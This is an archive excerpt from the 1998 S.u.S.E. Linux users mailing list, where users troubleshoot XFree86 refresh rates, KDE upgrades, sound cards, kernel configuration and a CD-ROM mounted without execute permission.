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From satan@nfinity.com Tue Jun 16 21:40:00 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] video modes
Date: Tue, 16 Jun 1998 16:40:00 -0500
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Yeah, everything I fed XF86Setup was straight from my monitor's manual. 
Both os'es I run exhibit the same behavior,  which I don't get , because
I have perfect image quality at 800x600, but not at anything higher. 
Surely there are people with s3 virge based cards that are running high
res successfully,  is it my monitor perhaps?  Both items are only a year
old. 

Wolfgang Weisselberg wrote:
> 
> Hi!
> 
> Trying to kill the keyboard, satan(a)nfinity.com produced:
> > As long as we're on the subject,  anything over 800x600 and I get a
> > horrid refresh rate.  Both my card (s3) and my monitor (ADI 5AP 17") are
> > capable of doing better at up to 1280x1024.
> 
> While setting up the X Window System, did you correctly specify the min
> and max horizontal and vertical frequencies your monitor will accept?
> If not, you stumbled over a safety feature in XFree86 --- it will not
> let you use frequencies you did not allow as OK, so your monitor won't
> be fried (worst case).
> 
> Oh, you can also play with xvidtune to move/resize the screen ...
> 
> -Wolfgang
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From kc8chq@juno.com Tue Jun 16 21:57:39 1998
From: kc8chq@juno.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Desktop Flatpanel monitors
Date: Tue, 16 Jun 1998 17:57:39 -0400
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I'm currently using a 14" svga(I think) it was given to me with an old
486/33.(It was better than the 14" vga I have:-))

I'd like to replace it and have considered a 17" Trintron, possibly with
multimedia, though I've not been able to configure the AWE64 I just
purchased or the Hauppauge Wincast/TV-dbx.=20

Having seen DVD on an HP Pavillion ("Contact" is pretty impressive) it
may be time to do more with my machine.=20

The NEC flatpanels(www.xtraview.com) look preety impressive(I know much
more expensive thenn crts), but I like the power consumption and lower
radiation. Still there may be other trade offs, such as perhaps mpeg will
be unacceptable.

Anyways, was wondering if anyone, aside from laptop users, has made the
switch?

Best regards,
Bob Russell
kc8chq(a)juno.com
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From arunkhan@xnet.com Wed Jun 17 04:24:12 1998
From: arunkhan@xnet.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] video modes
Date: Tue, 16 Jun 1998 23:24:12 -0500
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At 03:15 PM 98/06/16 -0400, you wrote:
>
>
>What about using xvidtune to fine tune your XF86Config stuff.  I used it
on my
>laptop it helps a little.
>
>Drew

Tried xvidtune.  No help.  thanks for your suggestion.

--Arun

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From hattons@cpkwebser5.ncr.disa.mil Wed Jun 17 04:51:51 1998
From: hattons@cpkwebser5.ncr.disa.mil
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] KDE Background problem
Date: Wed, 17 Jun 1998 00:51:51 -0400
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Michael,

Thanks for the reply.  I learned something new about libraries from this.  On=
e day I
need to sit down and actually learn the theory behind all this stuff.  I didn=
't mess
with the library files other than to look at them though.  The problem seems =
to be
related to XF86 and the intellimouse.  I found that running XF86Setup and cha=
nging the
color depth fixed the problem temporarily.  It would then come back after a w=
hile.  The
intellimouse has always been a little flaky.  I am now back to a standard M$ =
mouse.  I
will give this a try for a while.  It will probably be the solution.  I'm not=
 sure why,
but this wheeled mouse just doesn't work with XF86.  It causes some of the st=
rangest
problems.

Steve

Michael Lankton wrote:

> Kde gfx are linked against older versions of libjpeg and libgif.
> ldconfig -v > list, vi list, and you'll see that kde has it's own
> objects in /opt/kde/lib for jpeg and gif.  I wish they wouldn't do that,
> it's bad bad bad.  If you have gif and jpeg installed someplace else,
> like /usr/X11R6/lib or /usr/lib, it can break applications that depend
> on them.  Gnome gave me hell for awhile, and it was all due to the
> libjpeg.so in /opt/kde/lib.  Unfortunately, I think the fix is to
> install kde from source so that kde gets linked against the proper
> libs.  If kde still creates it's own objects for jpeg and gif, I would
> try moving them and ldconfig, then see if kde links against the correct
> libs.  I don't think SuSE comes with giflib, I keep a copy on a zip
> cartridge.  You can find it on sunsite in case you don't have
> libgif.so.3 in any of your lib dirs.
> Just for giggles, try "xv -root -max -quit filename.jpg" from an xterm
> and see if that displays the proper background image.
>
> Steven T. Hatton wrote:
> >
> > Well, it's back.  Has anybody else had a problem with their backgrounds i=
n the
> > KDE?  The really strange thing is that the backgrounds work for the login=
 screens.
> > This is a very strange thing indeed.
> >
> > Steve
> >
> > Steven T. Hatton wrote:
> >
> > > Well I fixed it.  I downloaded qt 1.33, and installed it.  I'm not sure
> > > what was there before.  As soon as I did that and restarted KDM all was
> > > cool.
> > >
> > > Steven T. Hatton wrote:
> > >
> > > > All,
> > > >
> > > > I am having a problem  with my backgrounds in KDE 1.0b4.  I am not ab=
le
> > > > to get them to display.  The last significant change I made was setti=
ng
> > > > my mouse to an intellimouse.  This did not cause a problem immediatel=
y.
> > > > The problem came on suddenly, and without anything significant
> > > > immediately preceding it.  I have uninstalled then reinstalled the KDE
> > > > and all the X stuff.  I reinstalled all the qt stuff that I could fin=
d.
>
> >
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In fine, do we want to know what God is?
Search not the book called the Scripture, which any human hand might make, but
the Scripture called creation. . .

THE WORD OF GOD IS THE CREATION WE BEHOLD: And it is in this word, which no
human invention can counterfeit or alter, that God speaketh universally to ma=
n.

-Thomas Paine, _The Age of Reason_

But where says some is the king of America? I'll tell you Friend, he reigns
above, and doth not make havoc of mankind like the Royal of Britain. Yet that
we may not appear to be defective even in earthly honors, let a day be
solemnly set apart for proclaiming the charter; let it be brought forth placed
on the divine law, the word of God; let a crown be placed thereon, by which
the world may know, that so far as we approve of monarchy, that in America the
law is king.

-Thomas Paine, *Common Sense*, February 14th, 1776

"Alles Vergaengliche
Ist nur ein Gleichniss"
-Goethe, as quoted in Ludwig Boltzmann's Vorlessungen ueber Gastheorie.

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From hattons@cpkwebser5.ncr.disa.mil Wed Jun 17 05:01:33 1998
From: hattons@cpkwebser5.ncr.disa.mil
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] KDE Beta 4 and SuSU 5.2
Date: Wed, 17 Jun 1998 01:01:33 -0400
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Lawrence,

For the most part It was a breeze to upgrade for me.  I just downloaded
it and ran YAST.  Selected "Choose/Install packages | Install packages",
hit enter on "Source: (none)", selected "Directory" and went to the place
where I downloaded the rpm and installed.  I love the KDE.  I am
convinced that it is an important part of God's design for the future of
Mankind. {;-)

Steve

Lawrence Sayre wrote:

> A few weeks back I was turned off to upgrading my KDE 3 to KDE 4 after
> hearing numerous nightmares and problems.  Now after numerous hangs,
> etc.. using beta 3, I'm thinking beta 4 again.
>
> Has anyone painlessly managed to upgrade beta 3 to beta 4, and if so,
> can you detail how it was done?
>
> -----------------------------------------------
> Man's mind is his basic tool of survival!
>
> Lawrence Sayre 
> -----------------------------------------------
>
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In fine, do we want to know what God is?
Search not the book called the Scripture, which any human hand might make, but
the Scripture called creation. . .

THE WORD OF GOD IS THE CREATION WE BEHOLD: And it is in this word, which no
human invention can counterfeit or alter, that God speaketh universally to ma=
n.

-Thomas Paine, _The Age of Reason_

But where says some is the king of America? I'll tell you Friend, he reigns
above, and doth not make havoc of mankind like the Royal of Britain. Yet that
we may not appear to be defective even in earthly honors, let a day be
solemnly set apart for proclaiming the charter; let it be brought forth placed
on the divine law, the word of God; let a crown be placed thereon, by which
the world may know, that so far as we approve of monarchy, that in America the
law is king.

-Thomas Paine, *Common Sense*, February 14th, 1776

"Alles Vergaengliche
Ist nur ein Gleichniss"
-Goethe, as quoted in Ludwig Boltzmann's Vorlessungen ueber Gastheorie.

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From roberto@cbvcp.com Wed Jun 17 05:38:34 1998
From: roberto@cbvcp.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] updating system to 5.2 via yast
Date: Tue, 16 Jun 1998 22:38:34 -0700
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i have a 28.8 connection to the internet and it is up for a maximum of 8
hours at a time.  is it possible to update my system via the internet
thru suse' ftp and yast?  or would it lose the connection halfway
through, and then have to start over at the beginning?


--
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From satan@nfinity.com Wed Jun 17 05:56:52 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] KDE Background problem
Date: Wed, 17 Jun 1998 00:56:52 -0500
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I use a Logitech Mouseman+.  It has a wheel like the intellimouse.  If I
choose the mouseman+ driver in xfsetup it breaks my mouse completely.  I
use the std ps/2 driver and it works perfect as a 3 button mouse.  I
hope the next xfree supports the wheel, cause I've gotten really fond of
it from using it in win95.  I tried following the instructions as seen
on slashdot about getting the wheel to function in x, but as soon as I
changed mouse drivers it broke my mouse.  Oh well, soon all mice will
have the wheel, so support can't be too far off...
For those of you snickering about my love of the little wheel, you'll
see why I like it so much after you use one for a few days.  They rock. =20

Steven T. Hatton wrote:
>=20
> Michael,
>=20
> Thanks for the reply.  I learned something new about libraries from this.  =
One day I
> need to sit down and actually learn the theory behind all this stuff.  I di=
dn't mess
> with the library files other than to look at them though.  The problem seem=
s to be
> related to XF86 and the intellimouse.  I found that running XF86Setup and c=
hanging the
> color depth fixed the problem temporarily.  It would then come back after a=
 while.  The
> intellimouse has always been a little flaky.  I am now back to a standard M=
$ mouse.  I
> will give this a try for a while.  It will probably be the solution.  I'm n=
ot sure why,
> but this wheeled mouse just doesn't work with XF86.  It causes some of the =
strangest
> problems.
>=20
> Steve

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From tanc@cuug.ab.ca Wed Jun 17 07:00:18 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] updating system to 5.2 via yast
Date: Wed, 17 Jun 1998 01:00:18 -0600
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If the reason for doing this is to save cost, then I would suggest that
you get a CD from places like www.cheapbytes.com and do the installation
that way.  From my own experience, doing installation via NFS mounts is
not very reliable, unless it is a local network installation.

Regards,
C. J. Tan

On Tue, 16 Jun 1998, Aaron Seelye wrote:

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>=20
>=20
> i have a 28.8 connection to the internet and it is up for a maximum of 8
> hours at a time.  is it possible to update my system via the internet
> thru suse' ftp and yast?  or would it lose the connection halfway
> through, and then have to start over at the beginning?
>=20
> --
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> http://revolution.3-cities.com/~roberto>
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From hettar@teleport.com Wed Jun 17 07:00:24 1998
From: hettar@teleport.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] AWE-64
Date: Wed, 17 Jun 1998 00:00:24 -0700
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Jonathan Mark Brooks wrote:

> So which "howtos" did you dig into?
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  This one:

http://cqi.com/~humbubba/linux/=
AWE-kernhelp.txt>

Have fun ;)

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From hettar@teleport.com Wed Jun 17 07:02:52 1998
From: hettar@teleport.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] asmixer
Date: Wed, 17 Jun 1998 00:02:52 -0700
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Fred A. Miller wrote:

> Mikael Asp wrote:
> >
> > Hi All!
> >
> > I tried to run asmixer but it was complaining about my /dev/mixer . At
> > first it couldn't read and after some work, I made link to mixer1, it
> > couldn't grab it.
> >
> > I suppose I have to make a new kernel, but I would like to be sure before=
 I
> > try that.
> >
> > Have a splendid day!
>
> I would, IF I could get Linux to see my SP AWE-64 (ISA) card!
>
> Fred

Go look here, as my SuSE linux can with ease now

http://cqi.com/~humbubba/linux/=
AWE-kernhelp.txt>

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From tanc@cuug.ab.ca Wed Jun 17 07:03:10 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] KDE Beta 4 and SuSU 5.2
Date: Wed, 17 Jun 1998 01:03:10 -0600
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Alternatively, you may use 'rpm' from the command line.

C. J. Tan

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>=20
>=20
> Lawrence,
>=20
> For the most part It was a breeze to upgrade for me.  I just downloaded
> it and ran YAST.  Selected "Choose/Install packages | Install packages",
> hit enter on "Source: (none)", selected "Directory" and went to the place
> where I downloaded the rpm and installed.  I love the KDE.  I am
> convinced that it is an important part of God's design for the future of
> Mankind. {;-)
>=20
> Steve
>=20
> Lawrence Sayre wrote:
>=20
> > A few weeks back I was turned off to upgrading my KDE 3 to KDE 4 after
> > hearing numerous nightmares and problems.  Now after numerous hangs,
> > etc.. using beta 3, I'm thinking beta 4 again.
> >
> > Has anyone painlessly managed to upgrade beta 3 to beta 4, and if so,
> > can you detail how it was done?
> >
> > -----------------------------------------------
> > Man's mind is his basic tool of survival!
> >
> > Lawrence Sayre 
> > -----------------------------------------------
> >
> > --
> > To get out of this list, please send email to majordomo(a)suse.com with
> > this text in its body: unsubscribe suse-linux-e
>=20
>=20
>=20
> --
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> Search not the book called the Scripture, which any human hand might make, =
but
> the Scripture called creation. . .
>=20
> THE WORD OF GOD IS THE CREATION WE BEHOLD: And it is in this word, which no
> human invention can counterfeit or alter, that God speaketh universally to =
man.
>=20
> -Thomas Paine, _The Age of Reason_
>=20
> But where says some is the king of America? I'll tell you Friend, he reigns
> above, and doth not make havoc of mankind like the Royal of Britain. Yet th=
at
> we may not appear to be defective even in earthly honors, let a day be
> solemnly set apart for proclaiming the charter; let it be brought forth pla=
ced
> on the divine law, the word of God; let a crown be placed thereon, by which
> the world may know, that so far as we approve of monarchy, that in America =
the
> law is king.
>=20
> -Thomas Paine, *Common Sense*, February 14th, 1776
>=20
> "Alles Vergaengliche
> Ist nur ein Gleichniss"
> -Goethe, as quoted in Ludwig Boltzmann's Vorlessungen ueber Gastheorie.
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From hettar@teleport.com Wed Jun 17 07:06:03 1998
From: hettar@teleport.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Anyone experience sound with xboing?
Date: Wed, 17 Jun 1998 00:06:03 -0700
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> , we'll just say it's broke.
>
> As far as speed, there are command line options to control the speed
> as well as grabing the mouse. These two options, as well as the -sound
> option (which is broke) should be documented in "man xboing". I think
> speed can also be set with the numbers 1,2,.. while playing the game.
> I have to set the speed to the lowest to have any change of staying
> in the game.
>
> >
> > > I also have no sound, but on a P200+ Cyrix the game goes so fast it is
> > > unplayable.  Is there a way to slow it down?
>

  Well xboing's sound is broke here too...
But (havent tested this) but I said xboing is way
too fast on my computer on IRC on #linux and
some one said go get  OIC from Xfree86
I am not sure what this does and havent looked for it
but its something like moslow was on dos.

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From tanc@cuug.ab.ca Wed Jun 17 07:14:47 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] CDE and S.u.S.E. 5.2
Date: Wed, 17 Jun 1998 01:14:47 -0600
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Has anyone used any CDE packages with 5.2?  If yes, which one?  If there
are more than one than works, which recommended?

Thanks a lot.

Regards,
C. J. Tan
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From marc_bouron@hotmail.com Wed Jun 17 07:40:31 1998
From: marc_bouron@hotmail.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] current kernel configuration?
Date: Wed, 17 Jun 1998 07:40:31 +0000
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Hello,

Having now been playing with my newly-installed SuSE 5.2 for a while,
I'd like to build my own kernel.  Setting the configuration options
is one thing, but I'd like to know what they're set to currently: i.e.
what does my current (off the CD) kernel look like.  Is there any way
to tell?  Ideally I'd like to be able to build a kernel which is just
like my current one, but with a couple of things added (and perhaps
a couple of things taken away).

Any hints will be gratefully received.

Cheers,
         Marc.

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From peter@datadok.no Wed Jun 17 08:01:05 1998
From: peter@datadok.no
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Re: RISKS DIGEST 19.81
Date: Wed, 17 Jun 1998 09:01:05 +0100
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risko(a)csl.sri.com (RISKS List Owner) writes:

> Date: Wed, 10 Jun 1998 23:21:33 -0400 (EDT)
> From: David Lesher 
> Subject: Re: German high-speed train disaster
>=20
> I'm surprised no one has noted that Linux Journal's
> <http://www.ssc.com/issue49>> May issue carried a story about Li=
nux being
> used for a data acquisition system on the ICE trains.
>=20
> The problem being studied? Prematurely out-of-round wheels...

Entries like this makes me wonder how well, if at all, you check your stories.

1) when I checked this morning the url from your article ends up at
   SSC's "page not found" message. the correct url for the 49th issue
   seems to be url:http://www.ssc.com/lj/issue49>

2) at the time I checked (a little before nine in the morning, june 17th,
   Central European Daylight Savings Time), I was unable to find any=20
   references to data aquisition or trains.

But then again, if this is an attempt to up your list's comedy appeal,
you've succeeded.


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From weissel@jupiter.ph-cip.uni-koeln.de Wed Jun 17 08:07:43 1998
From: weissel@jupiter.ph-cip.uni-koeln.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] video modes
Date: Wed, 17 Jun 1998 10:07:43 +0200
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Hi!

> > Trying to kill the keyboard, satan(a)nfinity.com produced:
> > > horrid refresh rate.  Both my card (s3) and my monitor (ADI 5AP 17") are

Trying to kill the keyboard, satan(a)nfinity.com produced:
> Yeah, everything I fed XF86Setup was straight from my monitor's manual. 
> Both os'es I run exhibit the same behavior,  which I don't get , because
> I have perfect image quality at 800x600, but not at anything higher. 
> Surely there are people with s3 virge based cards that are running high
> res successfully,  is it my monitor perhaps?  Both items are only a year
> old. 

Aaahhh ... 
s3 virge != s3 
The virge even has a different server, and my s3 (non-virge) card runs
happily 1280x1024 on my 17" (80 Hz).

So what refresh rate (and horizontal sync) does xvidtune tell you do
you have (both on 800x600 and on other modi)? Different people are
different perceptive to flicker, so we need raw numbers ... and you may
wish to construct a custom modline with a different Pixel Clock if the
normal ones don't cut it.  The XFree86-Video-Timings-HOWTO provides
more info.

Also it might be a marginal monitor cable which dies (more or less)
after certain frequencies. 

Maybe one could borrow another card/monitor and test if the image
enhances.

-Wolfgang


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From hettar@teleport.com Wed Jun 17 08:34:23 1998
From: hettar@teleport.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] current kernel configuration?
Date: Wed, 17 Jun 1998 01:34:23 -0700
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Marc Bouron wrote:

> Hello,
>
> Having now been playing with my newly-installed SuSE 5.2 for a while,
> I'd like to build my own kernel.  Setting the configuration options
> is one thing, but I'd like to know what they're set to currently: i.e.
> what does my current (off the CD) kernel look like.  Is there any way
> to tell?  Ideally I'd like to be able to build a kernel which is just
> like my current one, but with a couple of things added (and perhaps
> a couple of things taken away).
>
> Any hints will be gratefully received.

Well, as a start, take down all the hardware your system has
on a piece of paper.  So you can have a check list to mark as
you are doing the config file of the kernel.

Well whats cool it that you can do make menuconfig as
many times as you like and spend all day looking at it,
learning and reading the help on each thing you can add
to the kernel.

Best thing to do is read the README in /usr/src/linux
less README
as a start then print out or read the Kernel howto on
http://sunsite.unc.edu/md=
w/HOWTO/Kernel-HOWTO.html>

Just try not to bloat your kernel with things you will never use
nor need.

things to note: SCSI should be compiled directly
                         Sound should be as a modules
                         filesystems can be mounted mostly as modules too

                         a.out binary support (you can do this a module
too)
                         ppp should be direct compiled too
Thing about todays Kernels is they are hightly moduleized (or can be)
for sleek,quickness, and non bloat.

After looking over the README's and your still a bit lost
make another post about what your having difficultys on.
At the time of non understanding is a good time to write down
what the thing your not understanding, so you can go back
and figure out after or ask direct questions.

Have fun
Steven Udell
hettar(a)teleport.com


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From kiril@u.washington.edu Wed Jun 17 08:39:42 1998
From: kiril@u.washington.edu
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Postgres 6.3.2
Date: Wed, 17 Jun 1998 01:39:42 -0700
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Many thanks!  I seem to have a working postgres 6.3.2 system running
on SuSE 5.1. Although,  I was unable to find the command autoconf on my
system. All I found after running a find for autoconf was a
autoconf.changes in /usr/doc/packages/autoconf/autoconf.changes. Thinking
that I was screwed, I proceeded with the rest of your steps and success!
psql compiled without the tputs problem. I'm very appreciative of your
help with this problem

Thanks Again, Kerry

On 16 Jun 1998, Karl Eichwalder wrote=20
> Don't panic -- you forgot to run `autoconf' after patching; `-lncurses'
> has to appear while you try to link.  Perhaps, I wasn't clear enough;
> here we go again:
>=20
>     cd .../postgresql-6.3.2/src
>     autoconf
>     ./configure --with-includes=3D/usr/include/termcap --with-libs=3D/usr/l=
ib/termcap
>=20
> But I guess, if linking against ncurses, termcap isn't actually needed.
>=20
> --=20
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> ke(a)suse.de               Gebhardtstrasse 2      Mo & Th      13:00-18:00:
> http://www=
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From mhtexcollins@ccms.net Wed Jun 17 10:38:53 1998
From: mhtexcollins@ccms.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] X Download Dialog Box Stinks.
Date: Wed, 17 Jun 1998 05:38:53 -0500
Message-ID: <35879CBD.107F475C@ccms.net>
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And to think that I thought I just had not found the right (or whatever)
button to push..  These features need to be here.

Steven T. Hatton wrote:

>   I have been using Unix on and off for years.
> There is one feature that seems to really stink.
> I don't like the dialog box for file
> manipulation.  There are a few features in the M$
> GUI that seem superior to those in Unix.  In Unix
> there is no way to create a directory by
> right-clicking like you can in 95/NT.  I have
> found that StarOffice does have this right-click
> feature, so I know that it can be done in Unix.
> Another feature I don't like about the standard
> file manipulation dialog box is the fact that if I
> choose an alternative directory to the one the
> dialog box defaults to, the file name is lost.
> Since the dialog box that I am referring to seems
> to exist on every Unix GUI that I have worked
> with, I assume it is something basic to the way X
> works.  I am certainly not an expert on X-Windows
> architecture.  Is it possible to build an
> alternative to the standard way Unix file
> manipulation boxes work?
>
> Steve
>
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From beastman@jump.net Wed Jun 17 12:01:28 1998
From: beastman@jump.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] S.u.S.E. 5.2
Date: Wed, 17 Jun 1998 07:01:28 -0500
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I'm going to be building a computer and installing S.U.S.E. 5.2 on it.  Does
it make any difference on what monitor I use, as long as the video card is
supported?

Bill Eastman
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From mantel@suse.de Wed Jun 17 12:04:35 1998
From: mantel@suse.de
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Re: current kernel configuration?
Date: Wed, 17 Jun 1998 14:04:35 +0200
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Hi,

On Wed, 17 Jun 1998, Marc Bouron wrote:

> Hello,
> 
> Having now been playing with my newly-installed SuSE 5.2 for a while,
> I'd like to build my own kernel.  Setting the configuration options
> is one thing, but I'd like to know what they're set to currently: i.e.
> what does my current (off the CD) kernel look like.  Is there any way
> to tell?  Ideally I'd like to be able to build a kernel which is just
> like my current one, but with a couple of things added (and perhaps
> a couple of things taken away).
> 
> Any hints will be gratefully received.

You can't get the configuration from a compiled kernel. But the
configurations of our precompiled kernels are on the CDROM.

If you use, for example, kernel scsi01, just do the following:

cp /cdrom/suse/images/config/config.scsi01.ikr /usr/src/linux/.config
cd /usr/src/linux
make oldconfig

Now you can modify the configuration. BTW the configuration files are on
CD#1.

For the differences between scsi01 and scsi01.ikr: Kernel scsi01 is used
for the installation, scsi01.ikr is the kernel that is installed in the
system. The two versions of the kernel are there because space on the boot
disk is very tight so the installation kernels lack some things you do not
need during installation.

> Cheers,
>          Marc.

    Hubert


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From Ted.Harding@nessie.mcc.ac.uk Wed Jun 17 12:09:44 1998
From: Ted.Harding@nessie.mcc.ac.uk
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] current kernel configuration?
Date: Wed, 17 Jun 1998 13:09:44 +0100
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On 17-Jun-98 Steven Udell wrote:
> Marc Bouron wrote:
>> Having now been playing with my newly-installed SuSE 5.2 for a while,
>> I'd like to build my own kernel.  Setting the configuration options
>> is one thing, but I'd like to know what they're set to currently: i.e.
>> what does my current (off the CD) kernel look like.  Is there any way
>> to tell?  Ideally I'd like to be able to build a kernel which is just
>> like my current one, but with a couple of things added (and perhaps
>> a couple of things taken away).
>>
>> Any hints will be gratefully received.
>=20
> Well, as a start, take down all the hardware your system has
> on a piece of paper.  So you can have a check list to mark as
> you are doing the config file of the kernel.
[and so on]

However helpful Steven's reply may be about the general procedure for compili=
ng
a kernel, it does NOT answer Marc Bouron's question at all.

This is the same question I asked several weeks ago, without receiving any
reply, not even from the S.u.S.E. team.

Namely, to put is in its simplest terms: You install S.u.S.E., and a kernel
goes in as part of the installation. QUESTION: What are the configuration
settings under which this kernel was compiled? (Or, where may they be found?).

Similar if you upgrade -- a new kernel goes in; what are its config data?

(And, by the way, it seems to me that this kernel is copied from the boot
floppy. This I discovered having found that upgrading, 5.0->5.1, installed the
2.0.32 kernel sources off the CD, while the new kernel that went in was 2.0.3=
3;
and that is what I found on the floppy, despite the fact that the label on
S.u.S.E.'s floppy said 2.0.32).

As well as Marc, I really would like to know the answer to this question!

Best wishes to all,
Ted.

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From mats.jacobson@mbox302.swipnet.se Wed Jun 17 12:13:06 1998
From: mats.jacobson@mbox302.swipnet.se
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Permission denied
Date: Wed, 17 Jun 1998 13:13:06 +0100
Message-ID: <98061713262000.00542@oboe>
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Hello, I have run into som problems installing different applications from
CD-Rom. As root I have got this:

oboe:/cdrom/ApplixWare4.3 # ./install-applix
bash: ./install-applix: Permission denied 
   
oboe:/cdrom/ApplixWare4.3 # which bash
/usr/bin/bash
And bash is there. Have looked into the file /etc/permission, said me nothing.
And since I am a rather newbe I am for the moment stucked.

Kernel 2.0.33  SuSE 5.2
In the logs no clue.

Best regards
Mats Jacobson


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From mantel@suse.de Wed Jun 17 12:32:18 1998
From: mantel@suse.de
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Re: Permission denied
Date: Wed, 17 Jun 1998 14:32:18 +0200
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Hi,

On Wed, 17 Jun 1998, Mats Jacobson wrote:

> Hello, I have run into som problems installing different applications from
> CD-Rom. As root I have got this:
>=20
> oboe:/cdrom/ApplixWare4.3 # ./install-applix
> bash: ./install-applix: Permission denied=20
>   =20
> oboe:/cdrom/ApplixWare4.3 # which bash
> /usr/bin/bash
> And bash is there. Have looked into the file /etc/permission, said me nothi=
ng.
> And since I am a rather newbe I am for the moment stucked.
>=20
> Kernel 2.0.33  SuSE 5.2
> In the logs no clue.

By default the CDROM on a S.u.S.E. system is mounted with the "user"
option which implies "noexec". Just do (as root):

umount /cdrom
mount -tiso9660 -r /dev/cdrom /cdrom

This way the options from /etc/fstab are ignored and you are able to
execute the install-applix script.

> Best regards
> Mats Jacobson

    Hubert


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From hkristen@online.no Wed Jun 17 12:33:00 1998
From: hkristen@online.no
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Permission denied
Date: Wed, 17 Jun 1998 14:33:00 +0200
Message-ID: <3.0.5.32.19980617143300.00901b20@online.no>
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At 13:13 17.06.98 +0100, you wrote:
>
>Hello, I have run into som problems installing different applications from
>CD-Rom. As root I have got this:
>
>oboe:/cdrom/ApplixWare4.3 # ./install-applix
>bash: ./install-applix: Permission denied 
 
>
>Best regards
>Mats Jacobson

You should have a look at your /etc/fstab. The entry for your CD-ROM drive
must include the "exec" option. (Something like ro,noauto,exec) You won't
be able to execute programs from your CDs without this option set.

Good luck! :-)

Pål


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From jmbrooks@bigfoot.com Wed Jun 17 13:20:50 1998
From: jmbrooks@bigfoot.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.2 ANd PPP Performance
Date: Wed, 17 Jun 1998 09:20:50 -0400
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Another recommendation:  remove any mtu xxxx or mru xxxx statements from
the options file, or don't use them in your startup.  This caused me
major headaches until I figured out that I was better off letting pppd
figure out the MTU for itself.


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From hattons@CPKWEBSER5.ncr.disa.mil Wed Jun 17 14:08:49 1998
From: hattons@CPKWEBSER5.ncr.disa.mil
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] X Download Dialog Box Stinks.
Date: Wed, 17 Jun 1998 10:08:49 -0400
Message-ID: <3587CDF1.6821FC89@cpkwebser5.ncr.disa.mil>
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  I have been using Unix on and off for years.
There is one feature that seems to really stink.
I don't like the dialog box for file
manipulation.  There are a few features in the M$
GUI that seem superior to those in Unix.  In Unix
there is no way to create a directory by
right-clicking like you can in 95/NT.  I have
found that StarOffice does have this right-click
feature, so I know that it can be done in Unix.
Another feature I don't like about the standard
file manipulation dialog box is the fact that if I
choose an alternative directory to the one the
dialog box defaults to, the file name is lost.
Since the dialog box that I am referring to seems
to exist on every Unix GUI that I have worked
with, I assume it is something basic to the way X
works.  I am certainly not an expert on X-Windows
architecture.  Is it possible to build an
alternative to the standard way Unix file
manipulation boxes work?

Steve


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From misc.word.corp@pobox.com Wed Jun 17 14:34:15 1998
From: misc.word.corp@pobox.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] PCI Audio -- Ensonique PCI.
Date: Wed, 17 Jun 1998 10:34:15 -0400
Message-ID: <3587D3E6.751EA451@pobox.com>
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In a last-ditch effort to get RealAudio running on my system, I'm trying
to scrap the OSS drivers and install the alpha driver for my card
(Ensonique Audio PCI, es1370).  The drivers come in a gzipped file
called pciaudio.tar.gz available at freshmeat and elsewhere.

When I run make, I get the following error message:

es1370.c:89: linux/modversions.h: No such file or directory.

Any idea what header file is involved here?

More importantly, has anybody attempted to install this driver, or
compile a driver as a module to run the Ensonique Audio PCI?

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From stuart@cyberdude.com Wed Jun 17 14:38:45 1998
From: stuart@cyberdude.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Permission denied
Date: Wed, 17 Jun 1998 14:38:45 +0000
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Mats Jacobson wrote:

> Hello, I have run into som problems installing different applications from
> CD-Rom. As root I have got this:
>
> oboe:/cdrom/ApplixWare4.3 # ./install-applix
> bash: ./install-applix: Permission denied

Bash is telling you it's not allowed (doesent have permission to run)
install-aplix

> oboe:/cdrom/ApplixWare4.3 # which bash
> /usr/bin/bash
> And bash is there. Have looked into the file /etc/permission, said me nothi=
ng.
> And since I am a rather newbe I am for the moment stucked.
>
> Kernel 2.0.33  SuSE 5.2
> In the logs no clue.
>
> Best regards
> Mats Jacobson
>
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From satan@nfinity.com Wed Jun 17 16:14:14 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] current kernel configuration?
Date: Wed, 17 Jun 1998 11:14:14 -0500
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I don't know if this is really necessary anymore.  I have never compiled
a.out support into a kernel, and I have never run into a situation where
I needed it either.  

Steven Udell wrote:

>                          a.out binary support (you can do this a module
> too)

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From clm@hackers.the-core.net Wed Jun 17 16:24:09 1998
From: clm@hackers.the-core.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] current kernel configuration?
Date: Wed, 17 Jun 1998 12:24:09 -0400
Message-ID: <2.2.32.19980617162409.00d4d1d8@hackers.the-core.net>
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Steven, I would leave it in,=20

At 11:14 AM 6/17/98 -0500, you wrote:
>
>I don't know if this is really necessary anymore.  I have never compiled
>a.out support into a kernel, and I have never run into a situation where
>I needed it either. =20
